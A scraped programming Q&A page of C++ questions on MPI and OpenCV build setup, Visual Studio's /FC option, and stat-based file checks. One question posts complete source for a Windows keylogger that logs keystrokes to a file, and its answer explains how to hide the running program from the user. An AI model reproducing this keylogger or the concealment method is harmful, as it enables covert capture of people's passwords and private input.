MPI only compiles in Visual Studio debug section - c++

I have this program
#include <stdio.h>
#include <mpi.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
int size;
int rank;
MPI_Init(NULL, NULL);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &size);
printf("Hello, World!");
cout << MPI_Comm_rank << " " << MPI_Comm_size << endl;
MPI_Finalize();
return 0;
}
When I debug this in Microsoft Visual Studios it works just fine. But when I try it in the command prompt or any terminal I get this error,
Project_1.cpp:2:10: fatal error: mpi.h: No such file or directory
2 | #include <mpi.h>
| ^~~~~~~
compilation terminated.
I have g++ installed already and it works with other programs just fine. I have MPI installed too. Was able to link it to my Microsoft Visual Studio but it only works in its debug section. I am using a windows computer. Not really sure what to do. Any help would be great thanks.

There are some problem with your program:
You don't define MPI_Comm_rank and MPI_Comm_size but you try to print them in cout. In the following piece of code, I've rewritten your code.
#include <stdio.h>
#include <mpi.h>
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
int size;
int rank;
MPI_Init(NULL, NULL);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &size);
printf("Hello, World!");
cout << rank << " " << size << endl;
MPI_Finalize();
return 0;
}
You also need to add the location of mpiexec.exe to your system PATH by :
1- Open Window’s System Properties dialog box => click on Environment Variables
2- Click edit for the Path variable => add C: Program Files\Microsoft MPI\Bin \ (Assuming the default install)
To include the appropriate libraries.
1- The MPI code should be compiled as a Console Application
2- Once you have created the project you need to add the appropriate library
Right-click on the project in the Solution Explorer and go to Properties
Click on VC++ Directories and (assuming the MPI SDK is installed in the default directory) add:
C:/ Program Files (x86)/Microsoft SDKs/Include to the Include Directories
C:/Program Files (x86)/Microsoft SDKs/Lib/x64 or C:/Program Files (x86)/Microsoft SDKs/Lib/x86 to the Library Directories
Depends on whether you wish to compile your code as 32bit or 64bit
3- Click on Linker =>Input
Under Additional Dependencies add msmpi.lib

Related

Problems with building OpenCv with Xcode. Cannot find opencv2/opencv.hpp file

I have installed OpenCv with Homebrew on my MacOs. I have added libopencv 4.0.1.dylib in Xcode. When I try to build, Xcode cannot find the files. Any suggestions?
I changed my path but still have problems.
Main code:
#include <iostream>
#include <opencv4/opencv2/opencv.hpp>
int main(int argc, const char * argv[]) {
// insert code here...
std::cout << "Hello, World!\n";
return 0;
}
Build settings including path:
Error messages:

Visual Studio '/FC' option is giving the filename in lower case

I am using the '/FC' option in VisualStudio 2010 to get the full path file name from the FILE macro, but the file name is getting traced in lower case.
It is documented in below link:
https://msdn.microsoft.com/en-in/library/027c4t2s(v=vs.100).aspx
Is this a expected behaviour or any change in the Project properties can give the FileName correctly instead of filename in total lower case?
Example:
I have the below code in Visual Studio 2010
#include "stdafx.h"
#include <iostream>
using namespace std;
void logEvent(const char* const fileName)
{
cout << "Full path file name:" << fileName << endl;
}
int _tmain(int argc, _TCHAR* argv[])
{
logEvent(__FILE__);
getchar();
return 0;
}
The above code is coded in file name: FileNameTest.cpp
But the output for the above is shown as:
Full path file name:c:\users\pradp\documents\visual studio
2010\projects\filenam etest\filenametest\filenametest.cpp
AS you can see the total filename is traced in lower case
The setting made in the VisualStudio :
Project -> Properties -> C/C++ -> Advanced -> UseFullPaths

Why MPI doesn't work in Visual Studio 2015?

I downloaded and installed mpich2-1.0.8p1-win-x86-64.msi from the console with the administrator rights. I created empty win32 console project, I created file code.cpp and I pasted this example code.
#include <stdio.h>
#include "mpi.h"
int main(int argc, char* argv[])
{
int ProcNum, ProcRank, RecvRank;
MPI_Status Status;
MPI_Init(&argc, &argv);
MPI_Comm_size(MPI_COMM_WORLD, &ProcNum);
MPI_Comm_rank(MPI_COMM_WORLD, &ProcRank);
if (ProcRank == 0)
{
printf("\n Hello from process %3d", ProcRank);
for (int i = 1; i < ProcNum; i++)
{
MPI_Recv(&RecvRank, 1, MPI_INT, MPI_ANY_SOURCE,
MPI_ANY_TAG, MPI_COMM_WORLD, &Status);
printf("\n Hello from process %3d", RecvRank);
}
}
else
MPI_Send(&ProcRank, 1, MPI_INT, 0, 0, MPI_COMM_WORLD);
MPI_Finalize();
return 0;
}
Later I went to project properties to VC++ Directories and added include directories and library directories. In Linker/Input/Additional Dependencies I wrote mpi.lib and in C/C++/Language I allowed Open MP Support. When I compiled my project I have got strange errors. Can you help me? I can't understand what I made wrong, because I did it with tutorials.
Your first (and only) warning states that you are linking a 64-bit library with a 32-bit build. You need to either provide a 32-bit library or build for a 64-bit architecture to get rid of the linker errors.

How can I run an exe file without the user finding out?

I have made a simple key logger for my school project. It works great, but whenever I run it its icon is visible on the taskbar:
I want to know how to hide the running of the program.
#include <iostream>
#include <windows.h>
using namespace std;
#include <winuser.h>
#include <fstream>
int Save(int key_stroke,char *file)
{
if ((key_stroke==1)||(key_stroke==2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE=fopen(file,"a+");
cout<<key_stroke<<endl;
if (key_stroke==VK_TAB
||key_stroke==VK_SHIFT
||key_stroke==VK_CONTROL
||key_stroke==VK_ESCAPE
||key_stroke==VK_END
||key_stroke==VK_UP
||key_stroke==VK_DOWN
||key_stroke==VK_HOME
||key_stroke==VK_LEFT
||key_stroke==VK_RIGHT
)
fprintf(OUTPUT_FILE,"%s \n","IG");
else if (key_stroke==8)
fprintf(OUTPUT_FILE,"%s","\b");
else if (key_stroke==13)
fprintf(OUTPUT_FILE,"%s","\n");
else if (key_stroke==32)
fprintf(OUTPUT_FILE,"%s \n"," ");
else if (key_stroke==190 || key_stroke==110)
fprintf(OUTPUT_FILE,"%s",".");
else
fprintf(OUTPUT_FILE,"%s \n",&key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
int main()
{
char i;
while (true)
{
for (i=8 ; i<190 ; i++)
{
if (GetAsyncKeyState(i)==-32767)
Save(i,"LOG.txt");
}
}
system("PAUSE");
return 0;}
As #Cheers and hth. -Alf points out in the comments, you can simply make a GUI application with no window instead of a console application. Since you're using Windows, you can change your code from:
int main()
to:
#include <Windows.h>
int WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
You'll need to change your linker options. You can do this by following the instructions on the answer provided (also by #Cheers and hth. -Alf) to this question:
With the Visual C++ compiler, if you're compiling from the command line, add the options
/link /subsystem:windows /entry:mainCRTStartup
If you're using Visual Studio, change the subsystem to windows and change the entry point to mainCRTStartup in the linker options.
For CodeBlocks, a very quick Google search revealed the following answer:
Click Project on the CodeBlocks menu.
Click Properties.
Click the second tab, Build Targets.
On the right, where it says Type: Console application, change it to GUI application.
Rebuild the project.
Your application will no longer make a window.

How to check if a file exists with stat in visual studio c++ 2010?

This is the code I have for checking if a file exists in my visual studio 2010 c++ project:
bool GLSLProgram::fileExists( const string & fileName )
{
struct stat info;
int ret = -1;
ret = stat(fileName.c_str(), &info);
return 0 == ret;
}
I am not sure why it returns false for "shaders/color.vert" when that file really exists, and shaders is a folder in my project main folder.
Can you see something wrong?
THanks
Ok, so to illustrate the quirks of running from the IDE here's a little test I did. Hopefully this should help you figure out how relative paths work in VS.
So my folder hierarchy looks like this:
/_Sandbox
_Sandbox.sln
/Debug
_Sandbox.exe
/shaders
color.vert
/_Sandbox
_Sandbox.proj
main.cpp
The code looks as follows:
#include <iostream>
#include <string>
#include <sys/stat.h>
int main(int argc, char* argv[])
{
struct stat info;
std::string path = "shaders/color.vert"; // To not I get the same behavior with "shaders\\color.vert"
int ret = stat(path.c_str(), &info);
ret == 0 ? std::cout << "File found." << std::endl : std::cout << "File doesn't exist." << std::endl;
std::cin.get();
return 0;
}
So if I run this in the IDE, I get "File doesn't exist.", if I run this outside the IDE, I get "File Found". In order for the program to find the shader file from inside VS I have to put the shader folder like so:
/_Sandbox
_Sandbox.sln
/Debug
_Sandbox.exe
/_Sandbox
/shaders
color.vert
_Sandbox.proj
main.cpp
You can however get the code to find the folder from inside and outside the IDE. What you have to do is go to your project's settings. In "Debugging" and change "Working directory" to $(SolutionDir)$(Configuration)\
Hopefully this clears things up for you.